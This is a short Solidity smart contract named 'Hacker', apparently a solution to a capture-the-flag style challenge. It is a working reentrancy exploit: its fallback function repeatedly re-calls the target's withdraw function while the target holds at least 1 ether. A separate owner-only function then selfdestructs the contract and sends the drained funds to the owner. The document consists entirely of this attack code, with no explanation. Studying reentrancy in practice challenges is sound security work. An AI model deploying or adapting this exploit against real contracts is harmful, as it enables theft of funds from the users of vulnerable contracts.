pragma solidity ^0.8.0; contract Hacker { address public owner; address public challengeAddress; modifier onlyOwner() { require(msg.sender == owner, "Caller is not owner"); _; } constructor (address _challengeAddress) { owner = msg.sender; challengeAddress = _challengeAddress; } function pwn() public { (bool success, ) = challengeAddress.call( abi.encodeWithSignature("withdraw(address,uint256)", address(this), 1 ether) ); if (!success) revert(); } function withdraw() external onlyOwner { selfdestruct(payable(owner)); } fallback() external payable { if (challengeAddress.balance >= 1 ether) pwn(); } }